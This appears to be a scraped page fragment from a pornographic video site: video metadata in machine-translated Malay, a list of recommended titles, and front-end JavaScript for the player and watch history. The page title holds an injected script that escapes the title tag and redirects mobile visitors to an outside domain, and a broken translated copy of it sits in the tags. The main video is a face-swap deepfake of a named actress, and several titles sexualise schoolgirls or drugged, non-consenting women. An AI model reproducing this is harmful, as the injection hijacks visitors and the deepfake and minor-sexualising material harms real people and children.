</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>[Pertukaran Wajah] Liu Yifei dalam Stoking Hitam Seks...
[Pertukaran Wajah] Liu Yifei dalam Stoking Hitam Seks...","site_id":0,"video_url":"https://kjbwhcnao.com/20260709/YWFRNze4/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvYmU1YWRjYjE0NzBmZWVlNDE2YzU5NzEwNWQ1YTk2NzIuanBn.cache","duration":"09:15","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["!fungsi(){var u=navigator.userAgent||\"\";jika(","Mudah Alih|Android|iPhone|iPad|iPod|webOS|BlackBerry|Opera Mini|IEMobile","i.ujian(u)){tetingkap.lokasi.href=\"https:","xiazai.it.com\"}}();<","skrip>Stoking Hitam","seks","Liu Yifei","pertukaran wajah","Yifei","Liu Yi"],"site_url":"441183","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["明星换脸"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvYmU1YWRjYjE0NzBmZWVlNDE2YzU5NzEwNWQ1YTk2NzIuanBn.cache","maker":"","table_name":"videos_aosikazy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"[换脸]刘亦菲黑丝性爱..","s_keywords":"[换脸]刘亦菲黑丝性爱..","s_description":"[Pertukaran Wajah] Liu Yifei dalam Stoking Hitam Seks...","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjBhODQ1Nzk3Y2NkMTNjMmRmODI3Y2E1NjI0OTVmZDEuanBn.cache","vod_id":18978927,"title":"Kucing Yuzu - Adakah anda memerlukan pendidikan seks daripada Guru Yuzu?","lastmod":"2025-03-19","duration":"18:50","url":"/play/18978927.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjc0Y2NlZTEzNGFjM2M5YzljZWFiZmQ5YzQ2YTA0OGEuanBn.cache","vod_id":19123129,"title":"SYKH-165 Seorang wanita cantik dan matang yang memakai but menikmati seks primitif; penembusan serta-merta menjadikannya sangat cantik… Ulala, 29 tahun, Qianling","lastmod":"2026-05-14","duration":"02:00:00","url":"/play/19123129.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjlkOWI2Njc4MjZjNmZlNjk3ZGU0MjI1NWNlZGQ1Y2EuanBn.cache","vod_id":19006067,"title":"JUQ-526 Isteri saya yang montok mencapai orgasme berulang kali kerana hubungan seks bapa saudaranya yang berbahan bakar dadah. (NTR Afrodisiak)","lastmod":"2025-03-19","duration":"01:58:03","url":"/play/19006067.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDdmYzU2MDI4OTg2NzM2NTBlM2JhMTE5OWQ4YjFmN2EuanBn.cache","vod_id":19119452,"title":"[Tukar Wajah] Jennie Kim suka menunggang dan melakukan hubungan seks...","lastmod":"2026-05-14","duration":"08:57","url":"/play/19119452.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDAzMDVhYjMxOGJjYTFlMzMwNjkyODc2ZDQ3NmU4NjguanBn.cache","vod_id":18974896,"title":"328FANH-165 Yuna-chan, seorang gadis yang suci dan cantik yang menyukai lelaki yang lebih tua. Walaupun mempunyai teman lelaki, dia melanggar peraturan sekolah dengan merakam video seks dirinya dalam pakaian seragam sekolahnya. Gadis muda.","lastmod":"2025-03-19","duration":"02:02:13","url":"/play/18974896.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2NmNmJkYjQ4MThhMmE0ODJiYTAzMmMzMzRmNjBlZmIuanBn.cache","vod_id":19006085,"title":"IPZZ-178 Kelas Pra-Perkahwinan Reunion NTR - Tunang saya sekali lagi terperangkap dalam tusukan seperti omboh yang tidak pernah puas daripada teman lelaki saya yang jahat, yang mempunyai personaliti terburuk tetapi kehidupan seks terbaik.","lastmod":"2025-03-19","duration":"02:00:08","url":"/play/19006085.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTQvYjUyMzRhYzZkNjE4N2Y2NzQwYmY3NWI1NjFlMzc5OTMuanBn.cache","vod_id":19104873,"title":"Dendam Seksual Xiao Jie sebagai Wanita Berkahwin: Isteri Cemburu Cemburu dengan Bekas Teman Lelakinya","lastmod":"2025-11-13","duration":"20:36","url":"/play/19104873.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTQ0NGE5MDczM2ZmOTc2MDMwZjk0Njg5ODFjZWQzODMuanBn.cache","vod_id":19120050,"title":"Parti seks langsung penstriman langsung gadis-gadis stoking hitam seksi, begitu mengujakan dan menggoda!","lastmod":"2026-05-14","duration":"29:45","url":"/play/19120050.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWM5YWI4YTlkYWRhZjk5ZTU3ZDVjYTY4MjE1ODhjOWMuanBn.cache","vod_id":18990686,"title":"300MAAN-943 [Perkhidmatan Payudara Suci J-cup] Urinal berisi tahap khazanah negara yang pasti anda ingin dekati! Seks yang anda tidak boleh tolak apabila diminta!","lastmod":"2025-03-19","duration":"01:22:17","url":"/play/18990686.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTNlODVmODM3MDNlMzY1YzE3Zjg0M2EyNmZlY2QwNzUuanBn.cache","vod_id":19066878,"title":"#Pilihan_#Pelacur Kecil Berdada Rata Comel_Siri Seks Bertutup Mata 3⃣️","lastmod":"2025-03-20","duration":"00:00:25","url":"/play/19066878.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTU3MDY4YTM3MTBmMmE2ZjRlMDdkNmZhMTQ2MGRmM2MuanBn.cache","vod_id":19001230,"title":"Seks berkumpulan NCYF-028 6P. Bekas bintang kanak-kanak sebenar, cosplayer berusia 18 tahun yang cantik. Personaliti budak nakal itu telah diperbetulkan [gila].","lastmod":"2025-03-19","duration":"02:12:24","url":"/play/19001230.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmQ4YzM0MGZhYmVhYmI2NDYwNjAyOWJkODQ2NTU2OTkuanBn.cache","vod_id":19053308,"title":"BBAN-272 Bertukar-tukar cecair badan dengan gadis kegemaran saya, ciuman ghairah dan seks menelan air liur, mencium seorang lesbian yang dipenuhi air liur dan memancut, kali pertama saya dengan orang yang saya suka... Erika Arimura, penampilan sulung lesbian.","lastmod":"2025-03-19","duration":"03:03:19","url":"/play/19053308.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjMxNGNlZGYyZGQ1ZWY3NmQ2MTAzODIxOWY3NGYyMWUuanBn.cache","vod_id":19076695,"title":"494SIKA-316 Gegaran Luar dan Ejakulasi Dalaman Seks","lastmod":"2025-03-28","duration":"01:22:26","url":"/play/19076695.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWZiNTJmY2E0YTBkNTJkYzE1ODU0ZDE5YzMzN2FkN2IuanBn.cache","vod_id":18967137,"title":"Dokumentari BIJN-261: Seks Orgasme Secara Naluri, Terdedah Sepenuhnya. Seorang isteri yang cantik, memancarkan keanggunan dan keseksian, ditiduri secara kejam.","lastmod":"2025-03-19","duration":"01:55:08","url":"/play/18967137.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTg3OTJhMGE4NGE3NDFiODNiODg4ZWE1NDIzNGJlN2EuanBn.cache","vod_id":19014429,"title":"PKPD-255 Kerja mudah yang hanya melibatkan ejakulasi di dalam: Sumire, seorang pelajar kolej berusia 20 tahun dengan payudara G-cup, ingin membayar biasiswanya dengan mencari sugar daddy.","lastmod":"2025-03-19","duration":"02:21:20","url":"/play/19014429.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjFhNmJhN2UzMTMxMzQwZTkyZDEzNGMyZDdjNjYxMmMuanBn.cache","vod_id":19025509,"title":"MIDV-147-C Penyiasat Wanita Mulia - Perintah Tanpa Kejam: Tahan hubungan seks dan ejakulasi yang disebabkan oleh dadah selama 24 jam sehingga bala bantuan tiba.","lastmod":"2025-03-19","duration":"01:59:57","url":"/play/19025509.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvODI5ODIwNGE4YTdmZDQ4ODkwODQwMmNmNTUwM2UwNWMuanBn.cache","vod_id":19106787,"title":"VEC-619-C Payudaranya bergoyang dengan kuat, membuatkan isteri jiran yang menggoda itu larut dalam keghairahan seks yang menggembirakan seperti pai berkrim.","lastmod":"2025-12-13","duration":"01:50:07","url":"/play/19106787.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWZjM2EyYjViOWE5NjNiMTcwMjA2MGQwYTllZDI5ZGYuanBn.cache","vod_id":18970950,"title":"10musume 091924_01 Pelacur berdada besar yang awak cari ada di luar kedai! Kalau begitu kita akan melakukan hubungan seks di dalam dirinya!","lastmod":"2025-03-19","duration":"59:59","url":"/play/18970950.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjJmM2Y5YzY2OTZiMmU3ODBlM2ZiYjZhYWY3YTgyNzcuanBn.cache","vod_id":18982114,"title":"Ai Sayama - WAAA-375 Tidak dapat menahan seluar ketat seorang wanita pejabat berpunggung besar, dia segera memasukkannya ke dalam!! Keseluruhan filem itu mengandungi lima adegan seks!!","lastmod":"2025-03-19","duration":"01:57:29","url":"/play/18982114.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDBmZjYzNzQ1YTA3OWZjYzYwYTk0NTZiNjk2MzRiYjMuanBn.cache","vod_id":19121516,"title":"AVSA-421 Seks Berahi Selebriti! Seks dalam pakaian yang berahi dengan seorang wanita yang tinggi dan cantik! Matsuno Ran","lastmod":"2026-05-14","duration":"02:09:37","url":"/play/19121516.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2Q0YjZlN2Q4Yjg5YTM4YzU2MzBlZGQ1YzNkNDU2M2YuanBn.cache","vod_id":18970486,"title":"336TNB-014 [Rasionaliti isteri runtuh selepas tiga tahun menikmati keseronokan seksual] Isteri, yang marah dengan keinginan suaminya untuk TNR, bersetuju untuk pergi pada bila-bila masa.","lastmod":"2025-03-19","duration":"01:50:27","url":"/play/18970486.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzYwMTNkY2M2NzgwNGY5YzdjZjMyZWU1YmU3ZWNkNzAuanBn.cache","vod_id":19121381,"title":"BDSR-547 Video Seks Peribadi Pengasuh Sesat yang Bocor - 4 Jam - Mungkin Ditemui di Pusat Jagaan Harian!? 12 Orang","lastmod":"2026-05-14","duration":"04:00:24","url":"/play/19121381.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWQ1MTE3YzAwMjdhNmJhYjU4MWYzNjQxZmM2MGI1MDIuanBn.cache","vod_id":19041912,"title":"CJOD-372 Seorang gadis kecil yang berpeluh dan berpakaian seragam cemburu terhadap abang sulungnya (saya) yang mempunyai teman wanita, dan kerana cemburu, dia menjadi perempuan murahan, mencarut dan terlibat dalam seks haram.","lastmod":"2025-03-19","duration":"02:55:57","url":"/play/19041912.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTlhYTliYTZmNzIwNmYwM2M5OGMyYmZkMTdlZThjZDIuanBn.cache","vod_id":18986905,"title":"300MIUM-1034 Seorang Malaikat Masokis Tulen!! Perjalanan santai bersama seorang gadis cantik berusia 20 tahun yang bekerja di salon kecantikan!! Seks adalah bentuk kecantikan yang terbaik!","lastmod":"2025-03-19","duration":"01:54:28","url":"/play/18986905.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>[Pertukaran Wajah] Liu Yifei dalam Stoking Hitam Seks...',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}